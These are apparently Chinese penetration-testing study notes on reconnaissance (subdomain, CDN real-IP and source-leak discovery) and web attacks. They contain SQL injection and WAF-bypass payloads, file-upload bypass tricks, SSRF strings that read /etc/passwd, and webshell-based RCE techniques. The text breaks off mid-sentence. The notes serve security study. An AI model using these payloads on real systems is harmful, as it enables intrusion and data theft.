渗透学习笔记
首先给出一个网站,该网站收录了各种红队渗透工具:
https://github.com/guchangan1/All-Defense-Tool
信息收集
信息收集需要收集资产的企业备案、域名、IP地址、端口、中间件、CMS、服务器系统、数据库、目录、WAF、泄露
可以使用零零信安对资产进行评估,零零信安能收集资产的信息系统暴露、移动端应用(APP、API、小程序、公众号)、敏感目录、邮箱泄露、文档和代码、域名、人员、DWM情报等,功能强大。
资产收集流程
- 查询资产的企业备案
- 根据备案号查询企业拥有的域名,结合黑暗引擎与OneForAll工具查询这些域名的子域名
- 根据域名查询该域名的IP地址,之后能分别进行:
- 根据IP地址与域名查询开放的端口
- 使用工具扫描IP地址与域名获得中间件、CMS、服务器系统、数据库、目录、泄露等信息
下面介绍这些信息该如何收集
企业备案
-
一家公司开设网站需要对网站进行备案,备案号一般在网站的最底部可以查到。根据查到的网站,可以进行查询后得到该公司的其他注册域名,以下网站常用于企业备案查询:
https://beian.miit.gov.cn
-
若是想得到公司的其他信息,可以到企业查询网站查询,在这些网站里能查到目标公司的网站,电话,负责人等信息,为后面的信息收集与网站渗透提供参考,以下网站常用于企业查询:
https://aiqicha.baidu.com(爱企查)https://www.qcc.com(企查查)https://www.tianyancha.com(天眼查)
域名
域名能通过DNS来解析回IP,其中域名分为顶级域名,二级域名,三级域名等
tieba.baidu.com
↑ ↑ ↑
三级域名.二级域名.顶级域名
对于安全测试的意义:
- 相同的二级域名的网站架构、源码、密码可能相似
- 两个网站的域名解析的IP地址可能相同
子域名的获取方式有爆破,搜索,JS查找,证书查找,DNS搜索,OneForAll搜索
爆破
以下为常用爆破的工具:
子域名挖掘机:百度云链接: https://pan.baidu.com/s/1VQ2HLocs39B72ElysskPog 提取码:121lksubdomain:https://github.com/knownsec/ksubdomain
搜索
搜索主要是使用搜索引擎进行搜索,例如百度、谷歌、fofa、hunter、shodan、zoomeye
在使用黑暗搜索引擎时,经常会出现与目标公司不相关的URL,这时就能通过下载该网站的favicon.ico文件并查看
获得favicon.ico文件方法:
1. 直接在网站网址后面加favicon.ico2. F12或者右键查看网页源代码,然后再网页头部找到 ,链接指向即为favicon.ico的地址3. http://www.google.com/s2/favicons?domain=网站地址
以下为常用的google hack搜索语法:
site 指定域名intext 正文中存在关键字的网页intitle 标题中存在关键字的网页info 一些基本信息inurl URL存在关键字的网页filetype 搜索指定文件类型例子:搜索子域名:site:baidu.com
在线搜索的网站有:
https://rapiddns.io/subdomainhttps://phpinfo.me/domain/http://whois.chinaz.com/(whois查询)
JS查找
JS查询为使用JSFinder工具通过正则表达式获取URL与子域名。
证书查找
查询HTTPS证书能查询到子域名
https://crt.sh/
DNS搜索
查询DNS能查询到该域下的解析记录,从而有可能获得子域名
https://dnsdb.io/zh-cn/
在kali里可以使用dig
命令进行DNS查询,具体用法:
https://blog.csdn.net/weixin_44617541/article/details/124328099
OneForAll搜索
OneForAll工具是集合了各种方法的子域名收集工具,因此功能很强大
https://github.com/shmilylty/OneForAll
IP地址
获得一个网站的真实IP是极其重要的,原因如下:
1. IP能使用NMAP扫描出更多的端口2. 扫描IP地址为扫描网站的上一级文件夹3. 很多网站在其上一级有可能有该网站的源码备份
一个IP地址能分为4个段,如199.87.232.11,这个IP中199是A段,87是B段,232是C段,11是D段
获取一个域名对应的IP需要分析其有没有CDN,判断方法为使用超级ping,若每个地方的IP地址不同,就是有CDN,若无则否
无CDN
在CMD
里使用ping
命令就能获得真实IP
有CDN
- 网站的各个子域名可能在1-254区间内,或者不同的网段,因此可以测试区域内不同IP来获取真实IP
- 有些网站只对加www的网站加CDN,所以无www的网站有可能为真实IP
- 根据备案信息注册的省份来判断域名所在地
- 有些网站仅仅在国内有CDN,所以可以使用超级ping来判断真实IP
- 有些网站仅仅主站有CDN,而分站没有,所以可以根据分站IP判断真实IP
- 可以通过注册账号获取验证码的方式获取目标网站向自己发送的邮件,然后使用foxmail打开查看源码,以此获得真实IP
- 使用fofa、hunter、shodan、zoomeye搜索指定关键字,以此来获得真实IP
- 查询DNS记录来查询真实IP
- 使用w8fuckcun、fuckcdn工具扫描全网来获得真实IP
- 使用微步查询历史记录,有可能查到网站没加CDN之前的IP记录
- 使用VPN挂全局代理后
ping
目标网站 - 使用get-site-ip网站查询真实IP,有可能不准确,需要借助以上思路进行判断
- 利用网站favicon.ico地址的hash值在shodan搜索,具体参考该链接
端口
端口的范围是从0到65535,其中端口分为3大类:
1. 公认端口:从0-1023,这些端口绑定了一些明确服务的协议2. 注册端口:从1024到49151,这些端口松散绑定一下服务3. 动态端口:从49152到65535,这些端口并不常用
端口收集常使用nmap来进行探测,以下为快速扫描指令:
nmap -sS -Pn -open -T4nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4
其他扫描工具有御剑高速TCP端口扫描工具、masscan、Goby
也可以使用在线的方式探测端口:
http://coolaf.com/tool/porthttps://saomiao.bmcx.com/https://tool.chinaz.com/port/www.gdsslxh.org.cn
中间件
中间件为网站搭建平台,是网站的一个框架,常见中间件为iis、apache、tomcat、nginx、thinkphp、structs2等
通常使用AlliN、Glass、EHole、dismap等工具进行查看
也可以通过观察网站的后缀进行判断,比如.net.php.asp
后缀的网站的中间件一般为IIS
CMS
CMS为一个网站的模板,这个模板已经被设计好,使用前只需要使用者根据自己的需求进行更改,识别CMS能使用特定的攻击方式来进行渗透。
在识别CMS前,可以使用先用7kbscan工具进行扫描,看看是否能扫出源码备份文件或者数据库备份文件。
以下网站能查看ASP,PHP,ASPX,JSP,JAVAWEB 等脚本类型源码安全问题
https://websec.readthedocs.io/zh/latest/language/index.html
以下为识别方法:
-
在一些网站的最下面会有CMS的名字
-
访问CMS的特定路径查看是否能访问来判断CMS
-
使用kali中的
whatweb
命令进行扫描 -
使用浏览器中的
wappalyzer
插件进行查看 -
使用御剑WEB指纹识别系统来进行扫描
-
下载网站的ico文件查看(即favicon.ico文件)
-
使用在线网站进行查看,如:
https://www.yunsee.cn/http://whatweb.bugscaner.com/(云悉)
若是以上方法无法找到源码备份原件和CMS,则可以通过Charles工具来描绘网站,该工具能自动对访问的URL进行归类整理,点击的越多,得到网站的全貌就越完整。
服务器系统
常见的服务器系统为windows与linux,获得操作系统的信息可以根据操作系统的特性进行特定的渗透攻击,如对window7可以使用永恒之蓝进行攻击。
以下为分辨的方法:
-
为查看网站对大小写是否区分,区分大小写的为linux,不区分大小写的为windows
-
根据TTL值判断操作系统,但TTL值可以修改,有可能会误导我们,以下为默认操作系统TTL(TTL可以通过在
CMD
中PING
目标网站查看):WINDOWS NT/2000 TTL:128WINDOWS 95/98 TTL:32UNIX TTL:255LINUX TTL:64WIN7 TTL:64
-
使用
nmap
命令的-O
参数来进行探测
数据库
数据库能为网站存储信息,不同的数据库有不同的漏洞,因此得知该网站的数据库是很有必要的,以下为识别方法:
-
根据网站的文件来识别:
asp access php mysql aspx mssql jsp mssql,oracle python mogodb
-
通过操作系统来判断数据库,有一些数据库只能在特定操作系统中才能运行,比如window下才有access,sqlserver
-
使用nmap指令进行探测端口,根据端口号来判断:
mysql 3306mssql 1433oracle 1511mongodb 27017redis 6379memcached 11211
-
通过
nmap -O -sV ip地址
的方式扫描能获得apache和php和mysql版本
目录
目录作为网站的基本结构之一,能方便浏览者和管理者区分。
通常能用Charles工具、dirsearch、JSFinder工具、御剑目录扫描专业版进行目录扫描
WAF
WAF为WEB应用防护系统,用于隔离外界的非法请求
有些WAF还能作为网站的中间件,如宝塔,phpStudy,inmap等等
识别WAF对于安全测试的意义在于不能对有WAF的网站使用扫描工具扫描
以下为识别WAF的方法:
- 使用wafw00f工具进行识别
- 利用浏览器抓包识别
X-Powered-By
泄露
泄露分为SVN泄露、HG泄露、GIT泄露、VIM缓存泄露、备份文件泄露、PHP备份文件泄露、gedit备份文件泄露
SVN泄露
SVN是源代码版本管理软件。
在使用SVN管理本地代码过程中,会自动生成一个隐藏文件夹,其中包含重要的源代码信息。但一些网站管理员在发布代码时,不愿意使用‘导出’功能,而是直接复制代码文件夹到WEB服务器上,这就使隐藏文件夹被暴露于外网环境,这使得渗透工程师可以借助其中包含版本信息追踪的网站文件,逐步摸清站点结构。
在服务器上布署代码时,如果是使用 svn checkout
功能来更新代码,项目目录下会生成隐藏的.svn
文件夹(Linux上用ls
命令看不到,要用ls -al
命令),若没有配置好目录访问权限,则会存在此漏洞。黑客利用此漏洞,可以下载整套网站的源代码。
svn1.6及以前版本会在项目的每个文件夹下都生成一个.svn文件夹,里面包含了所有文件的备份,文件名为 .svn/text-base/文件名.svn-base。
svn1.7及以后版本则只在项目根目录生成一个.svn文件夹,里面的pristine文件夹里包含了整个项目的所有文件备份。
使用dvcs-ripper工具能对网站扫描SVN
HG泄露
当开发人员使用 Mercurial 进行版本控制,对站点自动部署。如果配置不当,可能会将.hg 文件夹直接部署到线上环境。这就引起了 hg 泄露漏洞。
使用dvcs-ripper)工具能对网站扫描HG
vim缓存
- vim 交换文件名
- 在使用vim时会创建临时缓存文件,关闭vim时缓存文件则会被删除,当vim异常退出后,因为未处理缓存文件,导致可以通过缓存文件恢复原始文件内容
- 以 index.php 为例:第一次产生的交换文件名为 .index.php.swp
- 再次意外退出后,将会产生名为 .index.php.swo 的交换文件
- 第三次产生的交换文件则为 .index.php.swn
git泄露
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git
文件夹直接部署到线上环境。这就引起了git泄露漏洞。
dirsearch工具扫描目录后有可能扫出.git
目录,之后使用GitHack工具能获取该文件
备份文件泄露
-
常见的网站源码备份文件后缀
tartar.gzziprar
-
常见的网站源码备份文件名
webwebsitebackupbackwwwwwwrootTemp
-
可以使用7kbscan扫描
-
bak是备份文件,为文件格式扩展名。这类文件一般在.bak前面加上应该有原来的扩展名比如windows.dll.bak,或是windows_dll.bak,有的则是由原文件的后缀名和bak混合而成。
-
常见备份文件后缀:“.git” 、“.svn”、“ .swp” “.~”、“.bak”、“.bash_history”、“.bkf”
-
访问隐藏文件时前面加"."
PHP备份文件泄露
- .phps后缀释义: phps文件就是php的源代码文件。
- 通常用于提供给用户(访问者)查看php代码,因为用户无法直接通过Web浏览器看到php文件的内容,所以需要用phps文件代替
gedit备份文件泄露
在Linux下,用gedit编辑器保存后,当前目录下会生成一个后缀为“ ~ ”的文件,其文件内容就是刚编辑的内容.假设刚才保存的文件名为flag,则该文件名为flag~,见图1-1-7.通过浏览器访问这个带有“ ~ ”的文件,便可以得到源代码。
工具扫描
在得到资产的网站后,可以使用扫描器去扫描网站存在的漏洞
最常用的扫描器有Xray、awvs(该链接迅雷不能下载)、nessus(该链接迅雷不能下载)
漏洞库
https://github.com/binganao/vulns-2022https://github.com/helloexp/0dayhttps://github.com/helloexp/vulhubhttps://github.com/helloexp/CVE-Exploitshttps://github.com/UzJu/0dayhttps://github.com/faisalfs10x/CVE-IDshttps://github.com/YinWC/2021hvv_vulhttps://github.com/dingxiao77/redteam_vulhttps://github.com/BaizeSec/bylibrary/tree/main/docs/%E6%BC%8F%E6%B4%9E%E5%BA%93https://baizesec.github.io/bylibrary/%E6%BC%8F%E6%B4%9E%E5%BA%93/01-CMS%E6%BC%8F%E6%B4%9E/ActiveMQ/ActiveMQ%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E6%BC%8F%E6%B4%9E/https://forum.ywhack.com/bountytips.php?Vulnerabilityhttps://github.com/r0eXpeR/supplierhttps://my.oschina.net/u/4354006/blog/3322916https://github.com/projectdiscovery/nuclei-templateshttps://github.com/DawnFlame/POChouse
peiqi漏洞库
渗透攻击
使用信息收集后会得到各种各样的信息,针对不同的信息就会有不一样的渗透攻击,常见的渗透攻击有爆破、SQL注入、文件上传、XSS、CSRF、SSRF、RCE、文件包含、文件下载、目录穿越、逻辑越权、反序列化、XXE、未授权访问、一句话木马、反弹SHELL,下面会详细介绍这些攻击。
爆破
在信息收集时如果收集到了网站的后台管理网站后,很多网站的管理员为了记忆方便,或者网站刚刚建好还来不及改密码,会使用默认账号密码或者强度很低的密码,若没有WAF的拦截,可以考虑尝试使用弱口令爆破。
弱口令爆破的工具主要有超级弱口令检查工具,burpsuite的Intruder模块,Hydra(kali自带)
爆破字典可以用fuzzDicts,另外下面的参数爆破可以用这个字典
SQL注入
对于任意一个输入框,只要满足以下条件就有可能存在SQL注入漏洞:
- 参数用户可控:前端传给后端的参数内容是用户可以控制的;
- 参数带入数据库查询:传入的参数拼接到SQL语句中,且带入数据库查询;
SQL注入的分类方式如下:
按变量类型分
- 数字型
- 字符型
按HTTP提交方式分
- GET注入
- POST注入
- Cookie注入
按注入方式分
-
报错注入
-
盲注
-
- 布尔盲注
- 时间盲注
-
union注入
SQL注入还能通过工具来进行注入,工具注入主要使用SQLMAP工具,也可以使用椰树V1.9接口修复版。
另外还有堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等方式,针对WAF还有特殊的绕过方式
攻击流程
- 首先使用union注入测试,没有回显就使用盲注或者报错注入
- 有回显的话就能使用堆叠注入、DNS注入、二次注入、宽字节注入、偏移注入等注入方式进行测试
- 在能注入的前提下,注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
- 若是查询到了账号密码能尝试在网站的各种登录框中进行登录尝试
- 使用sqlmap能用
--os-shell
参数进行getshell
下面将详细介绍这些注入方式。
union注入
- union注入是联合查询union会一次显示两个查询结果,我们可以使得第一个查询语句作为正常内容,第二个作为查询语句来进行构造。
- 注入流程为依次判断类型,字段数,回显点,依次爆库名,表名,字段名,数据
报错注入
利用前提:页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysql_error()
优点:不需要显示位
缺点:需要输出mysql_error()
的报错信息
报错型注入则是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果:在rand()
和group by
同时使用到的时候,可能会产生超出预期的结果,因为会多次对同一列进行查询。
报错注入主要利用的函数是floor()
、extractvalue()
、updatexml()
concat区别
concat()
- 将多个字符串连接成一个字符串
- 语法:
concat(str1, str2,...)
concat_ws()
- 将多个字符串连接成一个字符串,但是可以一次性指定分隔符
- 语法:
concat_ws(separator, str1, str2, ...)
Group_concat()
- 将
group by
产生的同一个分组中的值连接起来,返回一个字符串结果。 - 语法:
group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc ] [separator '分隔符'] )
floor()
- floor()报错注入是利用
count()
、rand()
、floor()
、group by
这几个特定的函数结合在一起产生的注入漏洞,准确的说是floor,count,group by
冲突报错。
报错原理:利用数据库表主键不能重复的原理,使用GROUP BY
分组,产生主键冗余,导致报错。 floor
向下取整数—如2.5取整数为2
extractvalue()
- 该函数对XML文档进行查询的函数
- 其实就是相当于我们熟悉的HTML文件中用
标签查找元素一样
- 语法:
extractvalue(目标xml文档,xml路径)
- 第二个参数 xml中的位置是可操作的地方,xml文档中查找字符位置是用 /xxx/xxx/xxx/…这种格式,如果我们写入其他格式,就会报错,并且会返回我们写入的非法格式内容,而这个非法的内容就是我们想要查询的内容。
- 正常查询第二个参数的位置格式 为 /xxx/xx/xx/xx ,即使查询不到也不会报错
- 以~开头的内容不是xml格式的语法,报错,但是会显示无法识别的内容是什么,这样就达到了目的。
id=1' and (extractvalue(1,concat(‘~’,(select database())))) --+
updatexml()
updatexml()
函数与extractvalue()
类似,是更新xml文档的函数。- 语法
updatexml(目标xml文档,xml路径,更新的内容)
id=1' and updatexml(1,concat('~',(select database()),'~'),3)--+
布尔盲注
布尔盲注一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,构造SQL语句,利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,从而达到注入的目的来获取信息
时间盲注
时间型的注入遇到的条件更为苛刻,数据交互完成以后目标网站没有错误和正确的页面回显,这种情况我们可以利用时间函数来判断数据有没有在目标数据中得到执行。当然也需要构造闭合。
堆叠注入
堆叠注入是一堆 sql 语句(多条)一起执行,例如以下这个例子。
用户输入DELETE FROM products
服务器端生成的sql语句为:Select * from products where productid=1;DELETE FROM products
当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。具体可以查看该文章
DNS注入
DNS注入是对存储在DNS服务器上解析留下的日志进行注入,具体例子看该文章
二次注入
二次注入是指利用已经上传的数据,再次进入查询语句后,形成的恶意查询语句进行注入
例如在注册页面,插入了相关的恶意语句,假如注册用户名是
1' union select 1,user()#
这样的话,在再次构建SQL语句后台会回显这样的数据。
执行语句:
select * from users where admin='1' union select 1,user();
返回数据库用户名称。
宽字节注入
- 在使用PHP连接MySQL的时候,当设置
set character_set_client = gbk
时会导致一个编码转换的问题,也就是我们熟悉的宽字节注入,当存在宽字节注入的时候,注入参数里带入%DF%27
,即可把(%5C)
合并掉,举个例子。
http://www.nicai.com/index.php?id=1
-
当提交
?id=1' and 1=1%23
时,MySQL运行的SQL语句为select * from user where id ='1\' and 1=1#'
-
很明显这是没有注入成功的,而当我们提交
id=1%DF' and 1=1%23
时,MySQL运行的SQL语句就变为了select * from user where id ='1運' and 1=1#'
-
我们这里的宽字节注入是利用MySQL的一个特性,MySQL在使用GBK编码的时候,由于GBK是多字节编码,会认为两个字节代表一个汉字(前一个ASCII码要大于128,才到汉字的范围),所以
%DF
和后面的\也就是%5c
中变成了一个汉字“運”,从而使单引号逃逸了出来
偏移注入
偏移注入是一种注入姿势,可以根据一个较多字段的表对一个少字段的表进行偏移注入,一般是联合查询,在页面有回显点的情况下
使用场景:
- 在SQL注入的时候会遇到一些无法查询列名的问题,比如系统自带数据库的权限不够而无法访问系统自带库。
- 当猜到表名无法猜到字段名的情况下,我们可以使用偏移注入来查询那张表里面的数据。
- 像Sqlmap之类的工具实际上是爆破字段的名字,但是如果字段名称比较奇葩,就无可奈何了
注入原理:
- 联合查询payload:
union select 1,2,3,4,5,6,7,8 from admin
- 在我们不知道admin有多少字段的情况下可以尝试payload:
union select 1,2,3,4,5,6,7,admin.* from admin
,此时页面出错 - 直到payload:
union select 1,2,3,4,5,admin.* from admin
时页面返回正常,说明admin表有三个字段 - 然后通过移动admin.*的位置,就可以回显不同的数据
注入流程可以看该文章
WAF绕过
绕过方式有注释符、内联注释、编码、空格绕过、or and xor not 绕过、双写绕过、大小写变种、等号=绕过,下面详细介绍
注释符
当过滤器阻止各种空白符常见关键词过滤时,可使用注释进行绕过
-- “注释内容”;//----+#:%00/!*注释内容*/
内联注释
内联注释能把一些特有的仅在MYSQL上的语句放在 /!../ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL的特定版本(与注释内描述的版本有关)中会执行。
select * from cms_users where userid=1 union */\*!5000 select\*unionselectpasswordfromuserswhereusernamelike'admin'#%252f%252a*/union%252f%252a*/select%252f%252a*/password%252f%252a*/from%252f%252a*/users%252f%252a*/where%252f%252a*/username%252f%252a*/like%252f%252a*/'admin'#或ex\u0065c => execascii编码Test 等价于CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)16进制select * from users where username = test1;select * from users where username = 0x7465737431;unicode编码对部分符号的绕过单引号=> %u0037 %u02b9空格=> %u0020 %uff00左括号=> %u0028 %uff08右括号=> %u0029 %uff09
空格绕过
一般绕过空格过滤的方法有以下几种方法来取代空格
()回车(url编码中的%0a)`(tab键上面的按钮)tab
or and xor not 绕过
or = ||and = &&xor = | 或者 ^ # 异或,例如Select * from cms_users where userid=1^sleep(5);not = !
双写绕过
在某一些简单的waf中,会将关键字select等使用replace()函数置换为空。当关键词被过滤时可以采用双写的方式,在经过waf的处理之后又变成select,达到绕过的要求。
and写成ananddselect写成seleselectct
大小写变种
当关键词被过滤时,可尝试变换大小写进行绕过。
UniOn SeleCt
等号=绕过
不加通配符的like执行的效果和 = 一致,所以可以用来绕过。
-
正常加上通配符的like:
Select * from cms_users where username like "ad%";
-
不加上通配符的like可以用来取代=:
Select * from cms_users where username like "admin";
-
regexp:MySQL中使用 REGEXP 操作符来进行正则表达式匹配
Select * from cms_users where username REGEXP "admin";
-
使用大小号来绕过
Select * from cms_users where userid>0 and userid<2;
-
<> 等价于 != ,所以在前面再加一个 ! 结果就是等号了
Select * from cms_users where !(username <> "admin");
文件上传
当收集到一个网站能让使用者进行文件上传时,就有可能存在文件上传漏洞
文件上传漏洞能让攻击者上传木马从而控制网站服务器,属于高危漏洞
文件上传不能简单通过修改后缀来攻击,因为浏览器无法识别后缀为jpg的文件
文件上传绕过分为前端绕过、服务端绕过、解析漏洞绕过、WAF绕过
前端绕过
前端验证为javascript检测,通常为检测文件后缀。
绕过方式只需要先上传正确后缀的文件后,用burpsuite抓包后修改为原本木马的后缀就能绕过
由于太过于简单绕过,所以一般网站都不会设置前端验证
服务端绕过
服务端绕过方式有很多种,下面详细介绍
后缀名
后缀名的验证,分为黑名单(asp,PHP,jsp,aspx,cgi,war…)和白名单(jpg,png,zip,rar,gif…)。
- 黑名单是不允许那些格式的文件上传,缺陷:添加文件的后缀,如PHP5等;
- 白名单是只允许那些格式的文件上传,相对来说安全一些。
针对黑名单绕过:
-
大小写,如Php
-
双写后缀,如phphpp
-
后缀名末尾加空格【 】(Linux服务器不支持)
-
后缀名末尾加点【.】(Linux服务器不支持)
-
后缀名末尾加
::$DATA
(Linux服务器不支持) -
%00截断(Linux服务器不支持)
例如1.php%00.jpg
MIME 信息
MIME 信息是指content-Type的内容,不同文件类型所对应的值也不同,如GIF文件对应:image/gif,如果检测的是mime,可以通过修改来绕过验证。
.htaccess
-
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。
-
该文件提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。
-
作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。
-
该绕过方式只有Apache中间件有,作用是实现文件解析的自定义
-
.htaccess文件的内容为
AddType application/x-httpd-php .png
.png为自定义绕过后缀
文件头
文件头是指文件头部,在木马里的头部添加白名单中的文件头能实现绕过
JPG:FF D8 FF E0 00 10 4A 46 49 46GIF :47 49 46 38 39 61 (GIF89a)PNG:89 50 4E 47
图片马
服务器对上传的文件的全部内容进行检测,例如若上传的文件不是完整的图片,就会上传失败
因此,我们可以在一个完整的图像中添加木马代码就能实现绕过
木马运行有可能需要配合解析漏洞
条件竞争
有些网站会对上传后的文件进行二次操作,如修改文件名
但是,在服务器进行修改前,有一瞬间是没有修改的
这时就能通过window的特性(已经访问了的文件修改不了文件名)来实现绕过
通常需要利用脚本不断请求才能成功
解析漏洞绕过
中间件解析文件时可能会存在解析漏洞,利用解析漏洞就能修改木马文件的后缀实现绕过
IIS5.x/6.0解析漏洞
如果目录名以".asp 、.asa、.cer、.cdx"字符串结尾,那么这个目录下所有的文件都会按照 asp 去解析。例如: “test.asp/1.jpg”就会解析asp代码。
IIS7.0/IIS7.5/Nginx<8.03解析漏洞
对任意文件名只要在URL后面追加上字符串"/任意文件名.php",就会按照 php 的方式去解析
例如,我上传一个图片木马22.png 直接访问url为 www.haha.com/upload/22.png 图片可以查看但是代码解析不出来,这时候我们只要在url后面加上www.haha.com/upload/22.png/33.php就可以执行代码。Nginx <8.03 空字节代码执行漏洞
使用%00截断,如对一个图片马使用:
xxx.jpg%00.php
Apache解析漏洞
apache解析后缀是从右往左解析,若解析的域名不可识别,则继续往左判断
因此就可以设置文件为:xxx.php.csg,csg后缀apache无法识别,因此就会识别后面的php
WAF绕过
-
寻找黑名单之外的扩展名
-
构造畸形的数据包
删掉content-type
构造多个filename
-
数据溢出-防匹配(xxx…)
填充垃圾数据
-
符号变异-防匹配(’ " ;)
去掉一个双引号,没有闭合安全狗会误以为是程序自带;意味着符号后面还有语句要执行,如果不执行的话,最后的语句为空。因此:filename="a.jpg;.php "
-
数据截断-防匹配(%00 ;换行;/)
%00后面的内容被截断,如:2.php%00.jpg(%00要解码)换行为\n,如2.php变成2.p\nh\np ,就可以绕过安全狗的匹配一般为注释符号,安全狗将//的内容注释
-
重复数据-防匹配(参数多次)
重复传参,用前面的参数欺骗安全狗检验,最后传递最后的参数参数过滤只有一次,可以用.pphphp来绕过验证,这里也是用前面的参数来绕过验证借助白名单技术,在匹配的时候,发现filename的字符串为前面的数据,安全狗误以为:2.php 没有传递个filename参数,从而绕过。
XSS
XSS为前端漏洞,攻击者通过往WEB页面插入恶意Script代码后,当用户浏览网站时能触发,达到攻击的目的
XSS测试的范围是每一个输入框,URL中的所有参数,也就是说任何一个与服务器有交互的参数都可以测试CSS
XSS攻击在红队渗透中可以用来盗取用户的cookie,尤其是管理员登录平台的cookie
攻击流程为首先找一个xss平台,在上面生成攻击代码,然后上传到目标网站上,等待管理员通过浏览器浏览服务器数据(如果能不用xss平台是最好的,因为平台管理员也能得到我们攻击得到的cookie,有泄露的风险)
XSS有三种类型,分别为反射型、存储型、dom型,下面会介绍这三种方式
反射型
反射型不是一种持久化攻击,通常为攻击者制作好攻击链接,然后欺骗用户点击从而达到攻击的目的
存储型
存储型是持久化攻击,攻击者会将攻击代码上传到目标网站的服务器里,当网站调用数据到前端网站时有可能会运行攻击代码,从而达到攻击的目的
dom型
- dom型是基于文档对象模型Document Objeet Model,DOM)的一种漏洞。
- DOM是一个与平台、编程语言无关的接口,它允许程序或脚本动态地访问和更新文档内容、结构和样式,处理后的结果能够成为显示页面的一部分。
- DOM中有很多对象,其中一些是用户可以操纵的,如uRI ,location,refelTer等。
- 客户端的脚本程序可以通过DOM动态地检查和修改页面内容,它不依赖于提交数据到服务器端,而从客户端获得DOM中的数据在本地执行,如果DOM中的数据没有经过严格确认,就会产生DOM XSS漏洞。
- 一般是浏览器前端代码进行处理。
三种方式的执行流程
- 反射型:发包x=baidu=>x.php=>回包
- 存储型:发包x=baidu=>x.php=>写到数据库某个表=>x.php=>回显
- dom型:发包x=baidu=>本地静态浏览器前端源代码(直接前端处理)
CSRF
- Cross-site request forgery 简称为“CSRF”
- 在CSRF的攻击场景中攻击者会伪造一个请求(这个请求一般是一个链接),然后欺骗目标用户进行点击,用户一旦点击了这个请求,整个攻击就完成了
- 攻击的链接的攻击目的通常把用户的信息修改为我们想修改的信息
- 攻击成功的前提是用户打开了网站,并且当前的cookie或session并未失效
SSRF
- Server Side Request Forgery简称为“SSRF”
- 攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。
- SSRF攻击通常针对外部网络无法直接访问的内部系统。
- SSRF可以对外网、服务器所在内网、本地进行端口扫描,攻击运行在内网或本地的应用,或者利用File协议读取本地文件
漏洞产生区域
- url 地址分享文章,如
http://share.xxx.com/index.php?url=http://127.0.0.1
- URL地址加载或下载图片,如
http://image.xxx.com/image.php?image=http://127.0.0.1
- URL地址图片、文章收藏,如
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
- URL把原网站内容转化为适合当前情况浏览的网站,如转手机网页
- URL翻译对应文本内容,如百度翻译
- 参数关键字
- share
- wap
- url
- link
- src
- source
- target
- u
- 3g
- display
- sourceURl
- imageURL
- domain
- 漏洞函数
- file_get_contents(),作用:将整个文件读入一个字符串
- fsockopen(),作用:通过套接字连接实现对用户指定URL数据的获取
- curl_exec(),作用:改函数初始化一个新的会话,返回一个cURL句柄
攻击方式
-
file:用于访问本地计算机的文件,如
http://share.xxx.com/index.php?url=file:///etc/passwd
-
http:用于探测内网存活,可以对目标主机的内网网段并进行爆破,如
http://192.168.91.1
使用前要想办法得到目标主机的网络配置信息,如读取
/etc/hosts
、/proc/net/arp
、/proc/net/fib_trie
等文件 -
dict:用于探测或扫描内网端口,如
dict://127.0.0.1:8080/info
-
ftp:用于探测目标主机是否存在ftp,如
ftp://127.0.0.1:21
-
gopher:用于对内网进行信息查找,攻击格式为gopher://IP:port/_TCP/IP数据流,攻击过程看该文章
-
若是遇到IP过滤,可以改写IP,例如192.168.0.1:
8进制格式:0300.0250.0.1 16进制格式:0xC0.0xA8.0.1 10进制整数格式:3232235521 16进制整数格式:0xC0A80001 合并后两位:1.1.278 / 1.1.755 合并后三位:1.278 / 1.755 / 3.141592670.0.0.0这个IP可以直接访问到本地,也通常被正则过滤遗漏
RCE
RCE漏洞可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统。
RCE漏洞在没有网站源码的情况下极其难以发现
发掘RCE漏洞方式:
-
代码审计挖掘
-
参数爆破获得,参数爆破可以用Hydra工具
-
使用对应中间件扫描工具进行扫描,如:
-
Struts2使用Struts2 全版本漏洞检测工具扫描
-
Thinkphp使用ThinkphpGUI 2020HackingClub线下典藏版扫描
-
RCE漏洞分为代码执行和命令执行,下面详细介绍
代码执行
PHP中有些函数具有将字符串作为代码执行的功能,如果这些函数控制的不严格,就能被攻击者用来执行恶意代码
常见的代码执行函数:
-
eval函数
eval函数把字符串作为PHP代码执行
eval(string $code)
一句话木马
-
assert函数
assert函数会检查指定的assertion一个断言是否为FALSE,在结果为FALSE时采取适当的行动,如果assertion是字符串,他会被assert函数当做PHP代码执行
bool assert(mixed $assertion[,Throwable $exception])
一句话木马
-
call_user_func函数
第一个参数callback是被调用的回调函数 其余参数是回调函数用的参数
mixed call_user_func(callable $callback[,mixed $parameter[,mined $parameter...]])
一句话木马:
通过POST型fun参数调用
system
函数,通过POST型arg
参数传入id
命令,执行了system('id')
返回当前用户信息 -
call_user_func_arrey函数
把第一个参数作为回调函数调用,把参数数组作为回调函数的参数调用
mixed call_user_func_arrey(callable $callback,array $param_arr)
一句话木马:
通过POST型fun参数调用
system
函数,通过POST型arg
参数传入id
命令,执行了system('id')
返回当前用户信息 -
create_function函数
根据传递的参数创建匿名函数 并为该匿名函数返回唯一名称
string create_function(string $args,string $code)
示例代码
create_function函数会创建虚拟函数,转变成以下代码
当传入id的值为
